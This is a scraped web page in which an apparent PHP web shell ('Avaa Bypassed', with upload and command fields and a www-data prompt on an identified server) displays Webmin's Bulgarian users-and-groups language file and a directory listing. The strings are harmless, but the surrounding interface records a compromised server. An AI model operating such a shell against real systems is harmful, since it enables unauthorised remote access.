[ Avaa Bypassed ]




Upload:

Command:

www-data@3.15.204.106: ~ $
index_title=Потребители и групи
index_pft=Тип база данни: $1
index_pft0=Стар /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Обикновени /etc/passwd & /etc/shadow
index_pft3=Потребителски команди
index_pft4=AIX
index_pft5=SCO /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_toomany=В системата ви има прекалено много потребители, за да бъдат изписани на една страница.
index_find=Намери потребители, за които
index_userreal=Потребителско име или реално име
index_usheader=Търсене на потребители
index_gsheader=Търсене на групи
index_fmode=Режим на съответствие
index_ftext=Търсене на текст
index_gtoomany=В системата ви има прекалено много групи, за да бъдат изписани на една страница.
index_gfind=Намери групи, за които
index_ugroup=Първична група
index_users=Локални потребители
index_gjump=Отиди на групи..
index_ujump=Отиди на потребители..
index_notusers=Нямате права за редактиране на потребители на тази система
index_notusers2=На тази система не бяха открити потребители!
index_createuser=Създаване на нов потребител.
index_batch=Стартиране на пакетен файл.
index_export=Експортиране в пакетен файл.
index_nomoreusers=Нямате права за създаване на повече потребители
index_groups=Локални групи
index_notgroups=Нямате права за редактиране на групи на тази система
index_notgroups2=На тази система не бяха открити групи!
index_creategroup=Създаване на нова група.
index_nomoregroups=Нямате права за създаване на повече групи
index_logins=Покажи логините по
index_loginsall=Всички потребители
index_loginsuser=Само потребител
index_loginsdesc=Покажи скорошни логини за някои, един или всички Unix потребители, които са се свързвали чрез SSH или Usermin.
index_return=Списък на потребители и групи
index_equals=е равно на
index_matches=съответства на РИ
index_nequals=не е равно на
index_nmatches=не съответства на РИ
index_contains=съдържа
index_ncontains=не съдържа
index_lower=е по-малко от
index_higher=е по-голямо от
index_who=Покажи свързаните потребители
index_whodesc=Покажи потребители, които в момента са свързани чрез SSH или Usermin.
index_mass=Изтриване на избраните потребители
index_mass2=Изключване на избраните
index_mass3=Включване на избраните
index_gmass=Изтриване на избраните групи

search_title=Резултати от търсенето
search_notfound=Не бяха открити съответстващи потребители
search_found=Бяха открити $1 съответстващи потребители ..
search_gnotfound=Не бяха открити съответстващи групи
search_gfound=Бяха открити $1 съответстващи групи ..

uedit_title=Редактиране на потребител
uedit_title2=Създаване на потребител
uedit_details=Детайли за потребителя
user=Потребителско име
uid=Потребителски ID
gid=Група
gidnum=ID на група
real=Истинско име
office=Офис
workph=Работен телефон
homeph=Домашен телефон
extra=Допълнителни опции
pass=Парола
none1=Питане при пръв логин
none2=Не е нужна парола
nologin=Няма разрешени логини
encrypted=Предварително шифрована парола
nochange=Остани непроменено
clear=Нормална парола
home=Домашна директория
uedit_auto=Автоматично
uedit_manual=Директория
shell=Shell
lastlogin=Последно свързване
uedit_other=Други..
uedit_passopts=Опции за парола
change2=Време на промяна на паролата
expire2=Време на изтичане на сметката
class=Логин клас
change=Променена парола
flags=Флагове на сметка
uedit_never=Никога
uedit_unknown=Неизвестен
expire=Дата на изтичане
min=Минимален брой дни
min_weeks=Минимален брой седмици
max=Максимален брой дни
max_weeks=Максимален брой седмици
warn=Срок за предупреждаване
ask=Запитване за нова парола при следващия логин?
inactive=Дни на неактивност
uedit_gmem=Членство в групи
group=Първична група
uedit_newg=Нова група
uedit_samg=Нова група със същото име като потребителя
uedit_oldg=Съществуваща група
uedit_2nd=Вторични групи
onsave=При запис..
uedit_movehome=Преместване на домашна директория, ако бъде променена?
uedit_chuid=Променяне на потребителския ID на файлове?
uedit_chgid=Променяне на груповия ID на файлове?
uedit_allfiles=Всички файлове
uedit_allg=Всички групи
uedit_ing=В групи
chgid=Променяне груповия ID на файлове?
uedit_oncreate=При създаване
uedit_makehome=Създаване на домашна директория?
uedit_copy=Копиране на стандартните файлове в домашната директория?
uedit_logins=Покажи логини
uedit_mail=Четене на е-майл
uedit_swit=Логин в Usermin
uedit_ecreate=Не можете да създавате нови потребители
uedit_egone=Избраният потребител вече не съществува!
uedit_eedit=Не можете да редактирате този потребител
uedit_admin=Само root потребителят може да смени тази парола
uedit_admchg=Потребителят трябва да избере нова  парола
uedit_nocheck=Без проверка на ограниченията за парола
uedit_cothers=Създаване на потребител в други модули?
uedit_mothers=Променяне на потребител в други модули?
uedit_grename=Преименоване на групата ако потребителското име бъде променено?
uedit_dothers=Изтриване на потребителя в други модули?
uedit_forcechange=Задължителна смяна при следващия логин?
uedit_uid_def=Автоматичен
uedit_uid_calc=Изчислен
uedit_disabled=Логинът е временно изключен
uedit_sys=Подразбиращият се за системата
uedit_clone=Копиране на потребител

usave_err=Грешка при записването на потребител
usave_eedit=Не можете да редактирате този потребител
usave_ecreate=Не можете да създавате нови потребители
usave_ebadname='$1' не е валидно потребителско име
usave_elength=Потребителското име не може да бъде по-дълго от $1 букви
usave_ere=Потребителското име не съответства на регулярния израз $1
usave_erename=Нямате права за преименоване на потребители
usave_einuse=потребителското име '$1' вече се използва
usave_einuse_a=потребителското име '$1' вече се използва от синоним за поща
usave_einuseg=груповото име '$1' вече се използва
usave_euid='$1' не е валиден UID
usave_euuid=Нямате права да променяте UID на потребители
usave_elowuid=UID трябва да бъде по-голям или равен на $1
usave_ehiuid=UID трябва да бъде по-малък или равен на $1
usave_euidused=Потребителят $1 вече използва UID $2
usave_euidused2=Този UID вече се използва
usave_ealluid=Всички позволени UID-ове са вече използвани
usave_ereal='$1' не е валидно истинско име
usave_ehome='$1' не е валидна домашна директория
usave_esgname='$1' не е валидно име на вторична група
usave_ehomepath=Нямате права за създаване на домашната директория $1
usave_eshell='$1' не е позволен shell
usave_egid='$1' не е валидна група
usave_egcreate=Нямате права за създаване на нови групи за нови потребители
usave_eprimary=Нямате права да добавяте този потребител към първичната група $1
usave_esecondary=Нямате права да добавите този потребител към вторичната група $1
usave_eprimaryr=Нямате права да премахнете този потребител от първичната група $1
usave_esecondaryr=Нямате права да премахнете този потребител от вторичната група $1
usave_emin='$1' не е валиден минимален период за смяна
usave_emax='$1' не е валиден максимален период за смяна
usave_ewarn='$1' не е валиден срок за предупреждаване
usave_einactive='$1' не е валиден период на неактивност
usave_eexpire=Невалидна дата на изтичане
usave_echange=Невалидна дата за промяна
usave_eclass='$1' не е валиден клас за логини
usave_emove=Грешка при преместването на домашна директория : $1
usave_emkdir=Не можах да създам домашна директория : $1
usave_echown=Не мога да изпълня chown върху домашна директория : $1
usave_echmod=Не мога да изпълня chmod върху домашна директория : $1
usave_eoffice=Офисът не може да съдържа знака ':'
usave_eworkph=Работният телефон не може да съдържа знака ':'
usave_ehomeph=Домашният телефон не може да съдържа знака ':'
usave_emaking=Командата преди ъпдейт върна грешка : $1
usave_epasswd_min=Паролата трябва да бъде поне $1 букви
usave_epasswd_re=Паролата не съответства на регулярния израз $1
usave_epasswd_dict=Паролата е речникова дума
usave_epasswd_same=Паролата съдържа потребителското име или съвпада с него
usave_epasswd_mindays=Паролата е била променяна преди по-малко от $1 дни
usave_epasswd_cmd=Командата за валидиране на паролата върна грешка
usave_eothers=Потребителят беше записан успешно, но друг модул върна грешка : $1

gedit_title=Редактиране на група
gedit_title2=Създаване на група
gedit_details=Детайли на група
gedit_group=Име на група
gedit_gid=ID на група
gedit_desc=Описание
gedit_members=Членове
gedit_oneperline=(по една на ред)
gedit_homedirs=Домашни директории
gedit_allfiles=Всички файлове
gedit_ecreate=Не можете да създавате нови групи
gedit_egone=Избраната група вече не съществува!
gedit_eedit=Не можете да редактирате тази група
gedit_cothers=Създаване на група в други модули?
gedit_mothers=Променяне на група в други модули?
gedit_gid_calc=Изчислен
gedit_gid_def=Автоматичен
gedit_allu=Всички потребители
gedit_selu=Потребители в група
gedit_pri=Членове на първична група
gedit_prinone=Няма потребители, за които тази група да е първична
gedit_clone=Копиране на група

gsave_err=Грешка при записа на група
gsave_eedit=Не можете да редактирате тази група
gsave_ecreate=Не можете да създавате нови групи
gsave_ebadname='$1' не е валидно име на група
gsave_elength=Името на група не може да бъде по-дълго от $1 букви
gsave_einuse=името на група '$1' вече се използва
gsave_egid='$1' не е валиден GID
gsave_eggid=Нямате права да променяте GID на групи
gsave_eallgid=Всички позволени GID-ове са вече дадени
gsave_eothers=Групата беше успешно записана, но друг модул върна грешка : $1
usave_elowgid=GID трябва да бъде по-голям или равен на $1
usave_ehigid=GID трябва да бъде по-малък или равен на $1
usave_egidused=Група $1 вече използва GID $2
gsave_egidused2=Този GID вече се използва
usave_efromroot=Не можете да изместите домашната директория от /
usave_etoroot=Не можете да премествате домашната директория в /

logins_title=Записани логини
logins_head=Записани логини за $1
logins_from=Логини от
logins_tty=TTY
logins_in=Логин към
logins_out=Логаут от
logins_for=Логини за
logins_still=Все още е логнат
logins_none=Няма записани логини
logins_elist=Нямате права да разглеждате логините
logins_elistu=Нямате права да разглеждате логините на '$1'
logins_local=Локален

udel_title=Изтриване на потребител
udel_err=Грешка при изтриването на потребител
udel_enum=Невалиден номер на потребител
udel_euser=Не можете да изтриете този потребител
udel_ealready=Този потребител вече е изтрит!
udel_eroot=Нямате права да изтривате системни потребители (тези с UID по-малък или равен на 10).
udel_echanged=Файлът с пароли е променен. Моля, върнете се към списъка на потребителите и изберете този потребител отново.
udel_other=Изтриване от други модули ..
udel_pass=Изтриване на запис от файла с пароли ..
udel_groups=Премахване от групи ..
udel_ugroupother=Изтриване на групата на този потребител в други модули ..
udel_ugroup=Изтриване на групата на този потребител ..
udel_home=Изтриване на домашна директория ..
udel_done=.. готово
udel_failed=-- грешка! : $1
udel_sure=Сигурни ли сте, че искате да изтриете потребителя $1 ? Домашната директория $2 съдържа $3 файла
udel_sure2=Сигурни ли сте, че искате да изтриете потребителя $1 ?
udel_del1=Изтриване на потребител
udel_del2=Изтриване на потребител и домашна директория
udel_others=ВНИМАНИЕ: Домашната директория $1 съдържа $2 файла, притежавани от други потребители.
udel_dothers=Изтриване на потребител в други модули?
udel_root=Внимание! Ако изтриете потребителя root, може да не можете да администрирате системата си за в бъдеще.

gdel_title=Изтриване на група
gdel_err=Грешка при изтриването на група
gdel_eroot=Нямате права за изтриване на системни групи (тези с GID по-малък или равен на 10).
gdel_enum=Невалиден номер на група
gdel_egroup=Нямате права за изтриване на тази група
gdel_ealready=Тази група вече е изтрита!
gdel_group=Изтриване на запис от груповия файл ..
gdel_done=.. готово
gdel_eprimary=Тази група не може да бъде изтрита, тъй като е първичната група на потребител $1.
gdel_sure=Сигурни ли сте, че искате да изтриете групата $1 ?
gdel_del=Изтриване на група
gdel_dothers=Изтриване на група в други модули?
gdel_other=Изтриване от други модули ..

many_title=Създаване на няколко потребители
many_desc=Тази форма ви позволява да създадете няколко потребители наведнъж от качен или локален текстов файл. Всеки ред във файла указва един потребител, в следния формат :
many_desc2=username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire
many_desc1=username:passwd:uid:gid:realname:homedir:shell:class:change:expire
many_desc0=username:passwd:uid:gid:realname:homedir:shell
many_descafter=Ако полето <tt>uid</tt> е оставено празно, Webmin ще зададе UID автоматично. Ако полето <tt>gid</tt> е празно, Webmin ще създаде нова група със същото име както потребителя. Полетата <tt>username</tt>, <tt>homedir</tt> and <tt>shell</tt> трябва да бъдат зададени за всеки потребител - всички останали полета могат да бъдат празни.
many_descpass=Ако полето <tt>passwd</tt> е празно, за потребителя няма да бъде зададена парола. Ако съдържа само буквата <tt>x</tt>, сметката ще бъде заключена. В другите случаи текстът в полето ще бъде приет като парола (в открит текст) и шифрован.
many_file=Качен файл с нови потребители
many_local=Локален файл с нови потребители
many_makehome=Създаване на домашни директории?
many_copy=Копиране на файлове в домашните директории?
many_upload=Създаване на потребители
many_elocal=Локалният файл не е намерен
many_efile=Няма избран файл за качване
many_elen=Ред $2 не съдържа $2 полета
many_eline=Липсващо потребителско име на ред $1
many_euser=Дублиращо се потребителско име на ред $1 : $2
many_egid=Невалиден GID на ред $1 : $2
many_ehome=Невалидна домашна директория на ред $1 : $2
many_eshell=Невалиден shell на ред $1 : $2
many_emkdir=Грешка при създаването на домашна директория $1 : $2
many_egtaken=Името на група вече е използвано на ред $1 : $2
many_ok=Създаден потребител $1

acl_uedit=Unix потребители, които може да бъдат редактирани
acl_uedit_all=Всички потребители
acl_uedit_none=Никои потребители
acl_uedit_only=Само потребители
acl_uedit_except=Всички потребители освен
acl_uedit_uid=Погребители с UID-ове в обхвата
acl_uedit_gid=Потребители с GID-ове в обхвата
acl_uedit_group=Потребители с групи
acl_uedit_sec=Включително вторични групи?
acl_uedit_this=Само този потребител
acl_uedit_re=Потребители, които съответстват на регулярен израз
acl_ucreate=Може да създава нови потребители?
acl_uid=UID-ове за нови или променени потребители
acl_umultiple=Повече от един потребител може да има същия UID
acl_uuid=UID-ове на съществуващи потребители могат да бъдат променяни
acl_ugroups=Разрешени групи за нови или променени потребители
acl_all=Всички
acl_shells=Shell-ове, позволени за нови или променени потребители.
acl_any=Кой да е
acl_listed=Изброените..
acl_home=Домашните директории трябва да бъдат в
acl_delhome=Може да изтрие домашна директория?
acl_option=По желание
acl_always=Винаги
acl_never=Никога
acl_autohome=Домашната директория винаги е същата като потребителското име
acl_gedit=Unix групи, които могат да бъдат редактирани
acl_gedit_all=Всички групи
acl_gedit_none=Няма групи
acl_gedit_only=Само групи
acl_gedit_except=Всички групи освен
acl_gedit_gid=Групи с GID-ове в обхвата
acl_gcreate=Може да създава нови групи?
acl_gnew=Само за нови потребители
acl_gid=GID-ове за нови или променени групи
acl_gmultiple=Повече от една група може да има същия GID
acl_ggid=GID-ове на съществуващи групи може да бъдат променяни
acl_logins=Може да изобразява логини чрез
acl_lnone=Никои потребители
acl_lall=Всички потребители
acl_epeopt=Може да редактира опции за изтичане на валидността на парола?
acl_batch=Може да вижда формуляра за пакетни файлове?
acl_export=Може да експортира пакетен файл?
acl_export1=Да, но показването е само в браузер
acl_egp=Може да редактира групови пароли?
acl_saveopts=Разрешено при запис на опции
acl_on=Винаги включен
acl_off=Винаги изключен
acl_canedit=Може да избира
acl_autouid=Може да увеличава автоматично UID номера?
acl_autogid=Може да увеличава автоматично GID номера?
acl_calcuid=Може да изчислява UID номера?
acl_calcgid=Може да изчислява GID номера?
acl_useruid=Може да въведе UID номер?
acl_usergid=Може да въведе GID номер?
acl_udelete=Може да изтрива потребители
acl_gdelete=Може да изтрива групи?
acl_urename=Може да преименова потребители?
acl_grename=Може да преименова групи?

log_urename=Преименован потребител $1 на $2
log_umodify=Променен потребител $1
log_ucreate=Създаден потребител $1
log_udelete=Изтрит потребител $1
log_udeletehome=Изтрит потребител $1 и директория $2
log_gmodify=Променена група $1
log_gcreate=Създадена група $1
log_gdelete=Изтрита група $1
log_batch=Изпълнен пакетен файл $1
log_batch_l=Изпълнен пакетен файл $1 ($2 създадени, $3 променени, $4 изтрити)
log_ubatch=Изпълнен качен пакетен файл
log_ubatch_l=Изпълнен качен пакетен файл $1 ($2 създадени, $3 променени, $4 изтрити)
log_gbatch=Изпълнен групов пакетен файл $1
log_gbatch_l=Изпълнен групов пакетен файл $1 ($2 създадени, $3 променени, $4 изтрити)
log_ugbatch=Изпълнен качен групов пакетен файл
log_ugbatch_l=Изпълнен качен групов пакетен файл $1 ($2 създадени, $3 променени, $4 изтрити)
log_delete_users=Изтрити $1 потребители
log_delete_groups=Изтрити $1 групи

batch_title=Изпълняване на пакетен файл
batch_ecannot=Нямате права да използвате формата за пакетен файл
batch_desc=Тази форма ви позволява да създавате, променяте или изтривате наведнъж по няколко потребители от качен или локален текстов файл. Всеки ред във файла указва едно действие за предприемане, в зависимост от първото му поле. Форматите на реда са :
batch_desc6=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc5=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>delete</b>:username
batch_desc4=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>delete</b>:username
batch_desc3=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_desc2=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>delete</b>:username
batch_desc1=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc0=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_descafter=На <b>create</b> редовете, ако полето <tt>uid</tt> е оставено празно, Webmin ще зададе UID автоматично. Ако полето <tt>gid</tt> е празно, Webmin ще създаде нова група със същото име като потребителя. Полетата <tt>username</tt>, <tt>homedir</tt> and <tt>shell</tt> трябва да бъдат указани за всеки потребител - всички други полета може да бъдат празни. Ако полето <tt>passwd</tt> е празно, за потребителя няма да бъде зададена парола. Ако то съдържа само буквата <tt>x</tt>, сметката ще бъде заключена. Всеки друг текст в полето ще бъде приет като парола и шифрован.
batch_descafter2=На редовете <b>modify</b>, празно поле ще означава, че съответният атрибут на потребителя не бива да бъде променян.
batch_source=Източник на пакетни данни
batch_source0=Качване на файл
batch_source1=Файл на сървъра
batch_source2=Текст в кутията
batch_others=Създаване, променяне или изтриване на потребители в други модули?
batch_batch=Променяне на потребителския файл само когато пакетът е привършен?
batch_makehome=Създаване на домашни директории за създадените потребители?
batch_copy=Копиране на файлове в домашните директории на създадените потребители?
batch_movehome=Преименоване на домашните директории на променените потребители?
batch_chuid=Промяна на UID-ове на файлове на променени потребители?
batch_chgid=Промяна на GID-ове на файлове на променени потребители?
batch_delhome=Изтриване на домашните директории на изтрити потребители?
batch_upload=Изпълняване на пакет
batch_elocal=Локален файл не беше открит
batch_efile=Няма избран файл за качване
batch_etext=Няма въведен текст от пакетен файл
batch_elen=Ред $1 не съдържа $2 полета
batch_eline=Липсващо потребителско име на ред $1
batch_euser=Повтарящо се потребителско име на ред $1 : $2
batch_echeck=Невалидно потребителско име на ред $1 : $2
batch_egid=Невалиден GID на ред $1 : $2
batch_ehome=Невалидна домашна директория на ред $1 : $2
batch_eshell=Невалиден shell на ред $1 : $2
batch_emkdir=Грешка при създаване на домашна директория $1 : $2
batch_egtaken=Това име на група вече се използва на ред $1 : $2
batch_eaction=Невалидно действие на ред $1 : $2
batch_enouser=Потребителят не съществува на ред $1 : $2
batch_erename=Нямате права за преименоване на потребители на ред $1 : $2
batch_emove=Грешка при преместване на домашна директория на ред $1 : $2
batch_created=Създаден потребител $1
batch_deleted=Изтрит потребител $1
batch_modified=Променен потребител $1
batch_ecaccess=Нямате права за създаване на потребителя на ред $1 : $2
batch_emaccess=Нямате права за модифициране на потребителя на ред $1 : $2
batch_edaccess=Нямате права за изтриване на потребителя на ред $1 : $2
batch_crypt=Паролите са вече шифровани?
batch_return=пакетна форма
batch_eother=Но се получи грешка в друг модул : $1
batch_emin=Невалиден минимален брой дни на ред $1 : $2
batch_emax=Невалиден максимален брой дни на ред $1 : $2
batch_ewarn=Невалиден брой дни за предупреждение на ред $1 : $2
batch_einactive=Невалиден брой дни на неактивност на ред $1 : $2
batch_eexpire=Невалиден ден за изтичане на ред $1 : $2
batch_echange=Невалиден ден за промяна на парола на ред $1 : $2
batch_instr=Инструкции и формат на пакета
batch_header=Опции за пакетно създаване, променяне и изтриване на потребители

who_title=Логнати потретибети
who_user=Unix потребител
who_tty=TTY
who_when=Логнат на
who_from=Логнал се от
who_none=В момента няма логнали се потребители

export_title=Експортиране на пакетен файл
export_desc=Тази форма ви позволява да създадете пакетен  файл, съдържащ някои или всички налични потребители в системата. Файлът може да бъде използван на страницата „Изпълни пакетен файл“ на друга система, за да създаде отново експортираните потребители, ако там се поддържа избраният формат на пакетен файл.
export_header=Опции за пакетен експорт на потребители
export_to=Място за пакетния файл
export_show=Показване в браузер
export_file=Запис във файл
export_ok=Експортиране
export_err=Грешка при експортиране на пакетен файл
export_efile=Липсва файл, в който да се записва
export_efile2=Файлът, в който да се записва, не е във валидна директория
export_egroup=Групата $1 не съществува
export_eopen=Грешка при отваряне на изходен файл : $1
export_euid=Невалиден първи UID в обхвата
export_euid2=Невалиден втори UID в обхвата
export_egid=Невалиден първи GID в обхвата
export_egid2=Невалиден втори GID в обхвата
export_done=Успешно експортиране на $1 потребители във файла $2 ($3).
export_pft=Формат на пакетен файл
export_who=Потребители, които да бъдат експортирани
export_ecannot=Нямате права за експортиране на потребители

gexport_title=Експортиране на групов пакетен файл
gexport_desc=Тази форма ви позволява да създадете пакетен  файл, съдържащ някои или всички налични групи в системата. Файлът може да бъде използван на страницата „Изпълни пакетен файл“ на друга система, за да създаде отново експортираните групи.
gexport_header=Опции за експортиране на групов пакет
gexport_who=Групи за експортиране
gexport_ecannot=Нямате права за експортиране на групи
gexport_err=Грешка при експортиране на групов пакетен файл
gexport_egid=Невалиден първи GID в обхват
gexport_egid2=Невалиден втори GID в обхват

pft_0=Само класически <tt>passwd</tt> файл
pft_1=BSD <tt>master.passwd</tt> файл
pft_2=Стандартни <tt>passwd</tt> и <tt>shadow</tt> файлове
pft_3=Unixware <tt>passwd</tt> файл
pft_4=AIX <tt>passwd</tt> и <tt>security</tt> файлове
pft_5=OpenServer <tt>passwd</tt> и кратък <tt>shadow</tt> файлове
pft_6=MacOS NetInfo база данни

umass_title=Изтриване на потребители
umass_err=Грешка при изтриване на потребители
umass_sure=Сигурни ли сте, че искате да изтриете избраните $1 потребители? Техните домашни директории съдържат $2 файла.
umass_others=ВНИМАНИЕ! Някои домашни директории съдържат $1 файла, притежавани от други потребители.
umass_sure2=Сигурни ли сте, че искате да изтриете избраните $1 потребители?
umass_euser=Нямате права за изтриване на потребителя $1
umass_enone=Няма избрани потребители
umass_del1=Изтриване на потребители
umass_del2=Изтриване на потребители и домашни директории
umass_eroot=Нямате права за изтриване на системни потребители (тези с UID по-малък или равен на 10).
umass_doing=Изтриване на потребител $1 ..

gmass_title=Изтриване на групи
gmass_err=Грешка при изтриването на групи
gmass_sure=Сигурни ли сте, че искате да изтриете избраните $1 групи?
gmass_euser=Нямате права за изтриване на групата $1
gmass_enone=Няма избрани групи
gmass_del=Изтриване на групи
gmass_eroot=Нямате права за изтриване на системни групи (тези с GID по-малък или равен на 10).
gmass_doing=Изтриване на група $1 ..
gmass_eprimary=Групата $1 не може да бъде изтрита, тъй като е първичната група на потребител $2.

dmass_title=Изключване на потребители
dmass_sure=Сигурни ли сте, че искате да изключите избраните $1 потребители? Те могат да бъдат включени отново по-късно без загуба на паролите или данните им.
dmass_dis=Изключване на потребители
dmass_pass=`Временно заключване на парола ..
dmass_doing=Изключване на потребител $1
dmass_already=.. вече е изключен!

emass_title=Включване на потребители
emass_pass=Отключване на парола ..
emass_doing=Включване на потребител $1
emass_already=.. вече е включен!

gbatch_title=Изпълнение на групов пакетен файл
gbatch_ecannot=Не можете да използвате формата за групов пакетен файл
gbatch_desc=Тази форма ви позволява да създавате, променята или изтривате много групи наведнъж от качен или локален текстов файл. Всеки ред във файла указва едно действие за извършване, в зависимост от първото му поле. Форматите на редовете са :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=На <b>create</b> редовете, ако полето <tt>gid</tt> е оставено празно, Webmin ще определи GID автоматично.
gbatch_descafter2=На <b>modify</b> редовете, празно поле ще бъде прието като знак, че съответният атрибут на групата не бива да бъде променян.
gbatch_header=Опции за пакетно създаване, променяне и изтриване на групи
gbatch_others=Създаване, модифициране или изтриване на групи в други модули?
gbatch_batch=Промяна на груповия файл само след като пакетът е привършил?
gbatch_chgid=Промяна на GID на файловете с променени групи?
gbatch_ecaccess=Нямате права за създаване на групата на ред $1 : $2
gbatch_emaccess=Нямате права за променяе на групата на ред $1 : $2
gbatch_edaccess=Нямате права за изтриване на групата на ред $1 : $2
gbatch_created=Създадена група $1
gbatch_deleted=Изтрита група $1
gbatch_modified=Променена група $1
gbatch_enogroup=Не съществува групата на ред $1 : $2
gbatch_eprimary=Групата на ред $1 не може да бъде изтрита, тъй като тя е първичната група на потребител $2.
gbatch_egroup=Повтарящо се име на група на ред $1 : $2
gbatch_egroupname=Невалидно име на група на ред $1
gbatch_erename=Нямате права за преименоване на групи на ред $1 : $2

Filemanager

Name Type Size Permission Actions
af.auto File 26.3 KB 0644
ar File 55 B 0644
ar.auto File 32.48 KB 0644
be.auto File 41.86 KB 0644
bg File 41.64 KB 0644
bg.auto File 1.01 KB 0644
ca File 26.95 KB 0644
ca.auto File 652 B 0644
cs File 23 KB 0644
cs.auto File 5 KB 0644
da File 20.25 KB 0644
da.auto File 5.71 KB 0644
de File 28.5 KB 0644
de.auto File 708 B 0644
el.auto File 45.48 KB 0644
en File 24.61 KB 0644
es File 21.61 KB 0644
es.auto File 6.28 KB 0644
eu.auto File 27.46 KB 0644
fa File 29.86 KB 0644
fa.auto File 8.54 KB 0644
fi.auto File 27.73 KB 0644
fr File 26.02 KB 0644
fr.auto File 6.23 KB 0644
he.auto File 29.91 KB 0644
hr.auto File 26.72 KB 0644
hu File 90 B 0644
hu.auto File 29.54 KB 0644
it.auto File 27.34 KB 0644
ja File 24.83 KB 0644
ja.auto File 6.22 KB 0644
ko File 14.36 KB 0644
ko.auto File 15.78 KB 0644
lt.auto File 27.86 KB 0644
lv.auto File 27.39 KB 0644
ms.auto File 27.53 KB 0644
mt.auto File 27.09 KB 0644
nl File 26.8 KB 0644
nl.auto File 1.02 KB 0644
no File 24.95 KB 0644
no.auto File 624 B 0644
pl File 26.59 KB 0644
pl.auto File 1.88 KB 0644
pt File 7.13 KB 0644
pt.auto File 21.01 KB 0644
pt_BR File 25.91 KB 0644
pt_BR.auto File 1.45 KB 0644
ro.auto File 28.22 KB 0644
ru File 25.98 KB 0644
ru.auto File 17.57 KB 0644
sk.auto File 29.07 KB 0644
sl.auto File 26.9 KB 0644
sv File 12.51 KB 0644
sv.auto File 13.82 KB 0644
th.auto File 49.88 KB 0644
tr File 22.2 KB 0644
tr.auto File 5.85 KB 0644
uk File 25.3 KB 0644
uk.auto File 16.95 KB 0644
ur.auto File 33.6 KB 0644
vi.auto File 31.72 KB 0644
zh File 8.78 KB 0644
zh.auto File 14.21 KB 0644
zh_TW File 13.71 KB 0644
zh_TW.auto File 10.56 KB 0644